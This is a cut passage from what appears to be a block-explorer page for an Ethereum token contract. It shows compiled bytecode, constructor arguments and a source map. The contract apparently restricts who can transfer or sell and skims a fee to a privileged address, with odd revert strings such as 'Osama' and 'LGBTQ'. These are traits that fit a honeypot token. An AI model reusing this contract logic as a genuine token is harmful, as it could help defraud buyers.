205f9054906101000a900460ff165b8061231d5750600b5f9054906101000a900460ff1615801561231c5750600b60019054906101000a900460ff165b5b806123de5750600b5f9054906101000a900460ff1680156123845750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156123dd575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612442575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561244157505f600a54145b5b612481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247890613161565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612501576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f8906132c0565b60405180910390fd5b600b60019054906101000a900460ff1615612901575f808390505f600a54118015612579575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156125cc5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612611576125f960646125eb600a5487612be590919063ffffffff16565b612c5c90919063ffffffff16565b915061260e8285612cb390919063ffffffff16565b90505b6126618460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506127138160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127f39190612f61565b60405180910390a35f8211156128fa576128538260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128f19190612f61565b60405180910390a35b5050612aec565b6129518260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a038260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ae39190612f61565b60405180910390a35b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612b27575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612bf5575f9050612c56565b5f8284612c02919061330b565b9050828482612c119190613379565b14612c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c48906133f3565b60405180910390fd5b809150505b92915050565b5f808211612c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c969061345b565b60405180910390fd5b8183612cab9190613379565b905092915050565b5f82821115612cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cee906134c3565b60405180910390fd5b8183612d0391906134e1565b905092915050565b5f808284612d199190613514565b905083811015612d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5590613591565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d9f578082015181840152602081019050612d84565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612dc482612d68565b612dce8185612d72565b9350612dde818560208601612d82565b612de781612daa565b840191505092915050565b5f6020820190508181035f830152612e0a8184612dba565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e3f82612e16565b9050919050565b612e4f81612e35565b8114612e59575f80fd5b50565b5f81359050612e6a81612e46565b92915050565b5f819050919050565b612e8281612e70565b8114612e8c575f80fd5b50565b5f81359050612e9d81612e79565b92915050565b5f8060408385031215612eb957612eb8612e12565b5b5f612ec685828601612e5c565b9250506020612ed785828601612e8f565b9150509250929050565b5f8115159050919050565b612ef581612ee1565b82525050565b5f602082019050612f0e5f830184612eec565b92915050565b5f8060408385031215612f2a57612f29612e12565b5b5f612f3785828601612e8f565b9250506020612f4885828601612e8f565b9150509250929050565b612f5b81612e70565b82525050565b5f602082019050612f745f830184612f52565b92915050565b5f805f60608486031215612f9157612f90612e12565b5b5f612f9e86828701612e5c565b9350506020612faf86828701612e5c565b9250506040612fc086828701612e8f565b9150509250925092565b5f60ff82169050919050565b612fdf81612fca565b82525050565b5f602082019050612ff85f830184612fd6565b92915050565b5f6020828403121561301357613012612e12565b5b5f61302084828501612e5c565b91505092915050565b61303281612e35565b82525050565b5f60208201905061304b5f830184613029565b92915050565b5f806040838503121561306757613066612e12565b5b5f61307485828601612e5c565b925050602061308585828601612e5c565b9150509250929050565b5f602082840312156130a4576130a3612e12565b5b5f6130b184828501612e8f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130fe57607f821691505b602082108103613111576131106130ba565b5b50919050565b7f31333337000000000000000000000000000000000000000000000000000000005f82015250565b5f61314b600483612d72565b915061315682613117565b602082019050919050565b5f6020820190508181035f8301526131788161313f565b9050919050565b7f4c474254510000000000000000000000000000000000000000000000000000005f82015250565b5f6131b3600583612d72565b91506131be8261317f565b602082019050919050565b5f6020820190508181035f8301526131e0816131a7565b9050919050565b7f4f73616d610000000000000000000000000000000000000000000000000000005f82015250565b5f61321b600583612d72565b9150613226826131e7565b602082019050919050565b5f6020820190508181035f8301526132488161320f565b9050919050565b5f6040820190506132625f830185612f52565b61326f6020830184612f52565b9392505050565b7f53706f6e6765626f6200000000000000000000000000000000000000000000005f82015250565b5f6132aa600983612d72565b91506132b582613276565b602082019050919050565b5f6020820190508181035f8301526132d78161329e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61331582612e70565b915061332083612e70565b925082820261332e81612e70565b91508282048414831517613345576133446132de565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61338382612e70565b915061338e83612e70565b92508261339e5761339d61334c565b5b828204905092915050565b7f31333337313333373133333700000000000000000000000000000000000000005f82015250565b5f6133dd600c83612d72565b91506133e8826133a9565b602082019050919050565b5f6020820190508181035f83015261340a816133d1565b9050919050565b7f31333337313333370000000000000000000000000000000000000000000000005f82015250565b5f613445600883612d72565b915061345082613411565b602082019050919050565b5f6020820190508181035f83015261347281613439565b9050919050565b7f53706f6e676531333337626f62000000000000000000000000000000000000005f82015250565b5f6134ad600d83612d72565b91506134b882613479565b602082019050919050565b5f6020820190508181035f8301526134da816134a1565b9050919050565b5f6134eb82612e70565b91506134f683612e70565b925082820390508181111561350e5761350d6132de565b5b92915050565b5f61351e82612e70565b915061352983612e70565b9250828201905080821115613541576135406132de565b5b92915050565b7f313333374f73616d6100000000000000000000000000000000000000000000005f82015250565b5f61357b600983612d72565b915061358682613547565b602082019050919050565b5f6020820190508181035f8301526135a88161356f565b905091905056fea2646970667358221220e881d0ba521a59b6a4aa9daedfde8e912313785d0a3501c4ce5608004550147664736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000365f14792675a9d199ed91a247c3cf12ad6e6583003899162693736ac531a5a58f1fbb4b746504382ca7e3ffffffffffffffffff

-----Decoded View---------------
Arg [0] : _swapRouter (address): 0x365F14792675a9d199ED91a247C3cf12ad6e6583
Arg [1] : _burnedTokens (uint256): 99999999999999999999999999999999999999999999999999999999999999999999999999

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000365f14792675a9d199ed91a247c3cf12ad6e6583
Arg [1] : 003899162693736ac531a5a58f1fbb4b746504382ca7e3ffffffffffffffffff


Deployed Bytecode Sourcemap

1986:7254:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2053:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4270:229;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6848:393;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2152:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4509:1600;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2564:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2528:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2214;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2689:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6468:372;;;;;;;;;;;;;:::i;:::-;;2493:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2453:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2643:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2255:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6321:139;;;;;;;;;;;;;:::i;:::-;;2387:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2111:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2601:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7249:826;;;:::i;:::-;;3843:417;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2417:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2310:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8083:1154;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6117:196;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2053:47;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4270:229::-;4337:12;4399:6;4365:9;:21;4375:10;4365:21;;;;;;;;;;;;;;;:31;4387:8;4365:31;;;;;;;;;;;;;;;:40;;;;4446:8;4425:38;;4434:10;4425:38;;;4456:6;4425:38;;;;;;:::i;:::-;;;;;;;;4484:4;4477:11;;4270:229;;;;:::o;6848:393::-;6934:7;;;;;;;;;;;6933:8;6925:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;6986:1;6973:9;:14;6965:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;7034:2;7020:10;:16;7012:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;7069:9;7060:6;:18;;;;7103:10;7093:7;:20;;;;7138:4;7128:7;;:14;;;;;;;;;;;;;;;;;;7171:4;7157:11;;:18;;;;;;;;;;;;;;;;;;7195:34;7207:9;7218:10;7195:34;;;;;;;:::i;:::-;;;;;;;;6848:393;;:::o;2152:51::-;;;;:::o;4509:1600::-;4609:12;4593:5;3606:17;;;;;;;;;;;:40;;;;3627:11;:19;3639:6;3627:19;;;;;;;;;;;;;;;;;;;;;;;;;3606:40;:69;;;;3652:7;;;;;;;;;;;3651:8;:23;;;;;3663:11;;;;;;;;;;;3651:23;3606:69;:129;;;;3680:7;;;;;;;;;;;:30;;;;;3691:11;:19;3703:6;3691:19;;;;;;;;;;;;;;;;;;;;;;;;;3680:30;:54;;;;;3724:10;;;;;;;;;;;3714:20;;:6;:20;;;;3680:54;3606:129;:171;;;;3750:10;;;;;;;;;;;3740:20;;:6;:20;;;:36;;;;;3775:1;3764:7;;:12;3740:36;3606:171;3584:229;;;;;;;;;;;;:::i;:::-;;;;;;;;;4665:7:::1;4645:9;:16;4655:5;4645:16;;;;;;;;;;;;;;;;:27;;4637:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;4737:7;4705:9;:16;4715:5;4705:16;;;;;;;;;;;;;;;:28;4722:10;4705:28;;;;;;;;;;;;;;;;:39;;4697:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;4795:1;4780:17;;:3;:17;;::::0;4772:35:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4824:11;4854:22:::0;4879:7:::1;4854:32;;4905:11;;;;;;;;;;;:26;;;;;4930:1;4920:7;;:11;4905:26;:49;;;;;4944:10;;;;;;;;;;;4935:19;;:5;:19;;;;4905:49;:72;;;;;4959:11;:18;4971:5;4959:18;;;;;;;;;;;;;;;;;;;;;;;;;4958:19;4905:72;4901:198;;;5004:29;5029:3;5004:20;5016:7;;5004;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;4998:35;;5068:16;5080:3;5068:7;:11;;:16;;;;:::i;:::-;5051:33;;4901:198;5130:29;5151:7;5130:9;:16;5140:5;5130:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;5111:9;:16;5121:5;5111:16;;;;;;;;;;;;;;;:48;;;;5191:34;5210:14;5191:9;:14;5201:3;5191:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;5174:9;:14;5184:3;5174:14;;;;;;;;;;;;;;;:51;;;;5261:3;5245:36;;5254:5;5245:36;;;5266:14;5245:36;;;;;;:::i;:::-;;;;;;;;5308:1;5302:3;:7;5298:503;;;5326:23;5360:42;5326:77;;5433:15;5426:22;;:3;:22;;::::0;5422:368:::1;;5502:35;5533:3;5502:9;:26;5512:15;5502:26;;;;;;;;;;;;;;;;:30;;:35;;;;:::i;:::-;5473:9;:26;5483:15;5473:26;;;;;;;;;;;;;;;:64;;;;5581:15;5565:37;;5574:5;5565:37;;;5598:3;5565:37;;;;;;:::i;:::-;;;;;;;;5422:368;;;5674:33;5703:3;5674:9;:24;5692:4;5674:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;5647:9;:24;5665:4;5647:24;;;;;;;;;;;;;;;:60;;;;5759:4;5735:35;;5744:5;5735:35;;;5766:3;5735:35;;;;;;:::i;:::-;;;;;;;;5422:368;5311:490;5298:503;5826:10;5817:19;;:5;:19;;;;:72;;;;;5872:17;5840:9;:16;5850:5;5840:16;;;;;;;;;;;;;;;:28;5857:10;5840:28;;;;;;;;;;;;;;;;:49;;5817:72;5813:265;;;5941:41;5974:7;5941:9;:16;5951:5;5941:16;;;;;;;;;;;;;;;:28;5958:10;5941:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;5910:9;:16;5920:5;5910:16;;;;;;;;;;;;;;;:28;5927:10;5910:28;;;;;;;;;;;;;;;:72;;;;6022:10;6006:57;;6015:5;6006:57;;;6034:9;:16;6044:5;6034:16;;;;;;;;;;;;;;;:28;6051:10;6034:28;;;;;;;;;;;;;;;;6006:57;;;;;;:::i;:::-;;;;;;;;5813:265;6097:4;6090:11;;;;4509:1600:::0;;;;;;:::o;2564:27::-;;;;;;;;;;;;;:::o;2528:26::-;;;;:::o;2214:::-;;;;;;;;;;;;;:::o;2689:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;6468:372::-;6514:7;;;;;;;;;;;6506:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;6575:1;6553:24;;:10;;;;;;;;;;;:24;;;6545:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;6624:1;6609:12;;:16;6601:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;6670:29;6686:12;;6670:11;;:15;;:29;;;;:::i;:::-;6656:11;:43;;;;6737:39;6763:12;;6737:9;:21;6747:10;;;;;;;;;;;6737:21;;;;;;;;;;;;;;;;:25;;:39;;;;:::i;:::-;6713:9;:21;6723:10;;;;;;;;;;;6713:21;;;;;;;;;;;;;;;:63;;;;6803:10;;;;;;;;;;;6798:30;;;6815:12;;6798:30;;;;;;:::i;:::-;;;;;;;;6468:372::o;2493:25::-;;;;:::o;2453:27::-;;;;:::o;2643:36::-;;;;;;;;;;;;;:::o;2255:44::-;;;;;;;;;;;;;;;;;:::o;6321:139::-;6413:1;6377:39;;6398:5;;;;;;;;;;;6377:39;;;;;;;;;;;;6447:1;6431:5;;:18;;;;;;;;;;;;;;;;;;6321:139::o;2387:20::-;;;;;;;;;;;;;:::o;2111:30::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2601:31::-;;;;;;;;;;;;;:::o;7249:826::-;7289:10;3606:17;;;;;;;;;;;:40;;;;3627:11;:19;3639:6;3627:19;;;;;;;;;;;;;;;;;;;;;;;;;3606:40;:69;;;;3652:7;;;;;;;;;;;3651:8;:23;;;;;3663:11;;;;;;;;;;;3651:23;3606:69;:129;;;;3680:7;;;;;;;;;;;:30;;;;;3691:11;:19;3703:6;3691:19;;;;;;;;;;;;;;;;;;;;;;;;;3680:30;:54;;;;;3724:10;;;;;;;;;;;3714:20;;:6;:20;;;;3680:54;3606:129;:171;;;;3750:10;;;;;;;;;;;3740:20;;:6;:20;;;:36;;;;;3775:1;3764:7;;:12;3740:36;3606:171;3584:229;;;;;;;;;;;;:::i;:::-;;;;;;;;;7336:1:::1;7324:9;:13;7316:31;;;;;;;;;;;;:::i;:::-;;;;;;;;;7364:14;7381:9;7364:26;;7417:1;7408:6;;:10;7404:664;;;7435:11;7449:27;7472:3;7449:18;7460:6;;7449;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;7435:41;;7495:22;7520:15;7531:3;7520:6;:10;;:15;;;;:::i;:::-;7495:40;;7579:41;7605:14;7579:9;:21;7589:10;;;;;;;;;;;7579:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;7555:9;:21;7565:10;;;;;;;;;;;7555:21;;;;;;;;;;;;;;;:65;;;;7668:10;;;;;;;;;;;7644:51;;7661:4;7644:51;;;7680:14;7644:51;;;;;;:::i;:::-;;;;;;;;7725:1;7719:3;:7;7715:181;;;7774:33;7803:3;7774:9;:24;7792:4;7774:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;7747:9;:24;7765:4;7747:24;;;;;;;;;;;;;;;:60;;;;7866:4;7834:43;;7851:4;7834:43;;;7873:3;7834:43;;;;;;:::i;:::-;;;;;;;;7715:181;7420:487;;7404:664;;;7952:33;7978:6;7952:9;:21;7962:10;;;;;;;;;;;7952:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;7928:9;:21;7938:10;;;;;;;;;;;7928:21;;;;;;;;;;;;;;;:57;;;;8033:10;;;;;;;;;;;8009:43;;8026:4;8009:43;;;8045:6;8009:43;;;;;;:::i;:::-;;;;;;;;7404:664;7301:774;7249:826:::0;:::o;3843:417::-;3929:12;3908:10;3606:17;;;;;;;;;;;:40;;;;3627:11;:19;3639:6;3627:19;;;;;;;;;;;;;;;;;;;;;;;;;3606:40;:69;;;;3652:7;;;;;;;;;;;3651:8;:23;;;;;3663:11;;;;;;;;;;;3651:23;3606:69;:129;;;;3680:7;;;;;;;;;;;:30;;;;;3691:11;:19;3703:6;3691:19;;;;;;;;;;;;;;;;;;;;;;;;;3680:30;:54;;;;;3724:10;;;;;;;;;;;3714:20;;:6;:20;;;;3680:54;3606:129;:171;;;;3750:10;;;;;;;;;;;3740:20;;:6;:20;;;:36;;;;;3775:1;3764:7;;:12;3740:36;3606:171;3584:229;;;;;;;;;;;;:::i;:::-;;;;;;;;;3991:7:::1;3966:9;:21;3976:10;3966:21;;;;;;;;;;;;;;;;:32;;3958:41;;;::::0;::::1;;4036:1;4021:17;;:3;:17;;::::0;4013:26:::1;;;::::0;::::1;;4080:34;4106:7;4080:9;:21;4090:10;4080:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;4056:9;:21;4066:10;4056:21;;;;;;;;;;;;;;;:58;;;;4145:27;4164:7;4145:9;:14;4155:3;4145:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;4128:9;:14;4138:3;4128:14;;;;;;;;;;;;;;;:44;;;;4212:3;4191:34;;4200:10;4191:34;;;4217:7;4191:34;;;;;;:::i;:::-;;;;;;;;4248:4;4241:11;;3843:417:::0;;;;;:::o;2417:25::-;;;;;;;;;;;;;:::o;2310:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8083:1154::-;8131:10;3606:17;;;;;;;;;;;:40;;;;3627:11;:19;3639:6;3627:19;;;;;;;;;;;;;;;;;;;;;;;;;3606:40;:69;;;;3652:7;;;;;;;;;;;3651:8;:23;;;;;3663:11;;;;;;;;;;;3651:23;3606:69;:129;;;;3680:7;;;;;;;;;;;:30;;;;;3691:11;:19;3703:6;3691:19;;;;;;;;;;;;;;;;;;;;;;;;;3680:30;:54;;;;;3724:10;;;;;;;;;;;3714:20;;:6;:20;;;;3680:54;3606:129;:171;;;;3750:10;;;;;;;;;;;3740:20;;:6;:20;;;:36;;;;;3775:1;3764:7;;:12;3740:36;3606:171;3584:229;;;;;;;;;;;;:::i;:::-;;;;;;;;;8190:7:::1;8165:9;:21;8175:10;8165:21;;;;;;;;;;;;;;;;:32;;8157:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;8232:11;;;;;;;;;;;8228:1002;;;8264:11;8297:22:::0;8322:7:::1;8297:32;;8364:1;8354:7;;:11;:39;;;;;8383:10;;;;;;;;;;;8369:24;;:10;:24;;;;8354:39;:67;;;;;8398:11;:23;8410:10;8398:23;;;;;;;;;;;;;;;;;;;;;;;;;8397:24;8354:67;8350:205;;;8451:29;8476:3;8451:20;8463:7;;8451;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;8445:35;;8520:16;8532:3;8520:7;:11;;:16;;;;:::i;:::-;8503:33;;8350:205;8595:34;8621:7;8595:9;:21;8605:10;8595:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;8571:9;:21;8581:10;8571:21;;;;;;;;;;;;;;;:58;;;;8671:41;8697:14;8671:9;:21;8681:10;;;;;;;;;;;8671:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;8647:9;:21;8657:10;;;;;;;;;;;8647:21;;;;;;;;;;;;;;;:65;;;;8757:10;;;;;;;;;;;8736:48;;8745:10;8736:48;;;8769:14;8736:48;;;;;;:::i;:::-;;;;;;;;8815:1;8809:3;:7;8805:179;;;8864:33;8893:3;8864:9;:24;8882:4;8864:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;8837:9;:24;8855:4;8837:24;;;;;;;;;;;;;;;:60;;;;8953:4;8924:40;;8933:10;8924:40;;;8960:3;8924:40;;;;;;:::i;:::-;;;;;;;;8805:179;8245:750;;8228:1002;;;9040:34;9066:7;9040:9;:21;9050:10;9040:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;9016:9;:21;9026:10;9016:21;;;;;;;;;;;;;;;:58;;;;9116:34;9142:7;9116:9;:21;9126:10;;;;;;;;;;;9116:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;9092:9;:21;9102:10;;;;;;;;;;;9092:21;;;;;;;;;;;;;;;:58;;;;9194:10;;;;;;;;;;;9173:41;;9182:10;9173:41;;;9206:7;9173:41;;;;;;:::i;:::-;;;;;;;;8228:1002;8083:1154:::0;;:::o;6117:196::-;6212:1;6192:22;;:8;:22;;;6184:31;;;;;;6262:8;6234:37;;6255:5;;;;;;;;;;;6234:37;;;;;;;;;;;;6294:8;6286:5;;:16;;;;;;;;;;;;;;;;;;6117:196;:::o;1607:225::-;1665:7;1694:1;1689;:6;1685:47;;1719:1;1712:8;;;;1685:47;1742:9;1758:1;1754;:5;;;;:::i;:::-;1742:17;;1787:1;1782;1778;:5;;;;:::i;:::-;:10;1770:35;;;;;;;;;;;;:::i;:::-;;;;;;;;;1823:1;1816:8;;;1607:225;;;;;:::o;1842:135::-;1900:7;1932:1;1928;:5;1920:26;;;;;;;;;;;;:::i;:::-;;;;;;;;;1968:1;1964;:5;;;;:::i;:::-;1957:12;;1842:135;;;;:::o;1285:141::-;1343:7;1376:1;1371;:6;;1363:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;1417:1;1413;:5;;;;:::i;:::-;1406:12;;1285:141;;;;:::o;1436:161::-;1494:7;1514:9;1530:1;1526;:5;;;;:::i;:::-;1514:17;;1555:1;1550;:6;;1542:28;;;;;;;;;;;;:::i;:::-;;;;;;;;;1588:1;1581:8;;;1436:161;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:474::-;3514:6;3522;3571:2;3559:9;3550:7;3546:23;3542:32;3539:119;;;3577:79;;:::i;:::-;3539:119;3697:1;3722:53;3767:7;3758:6;3747:9;3743:22;3722:53;:::i;:::-;3712:63;;3668:117;3824:2;3850:53;3895:7;3886:6;3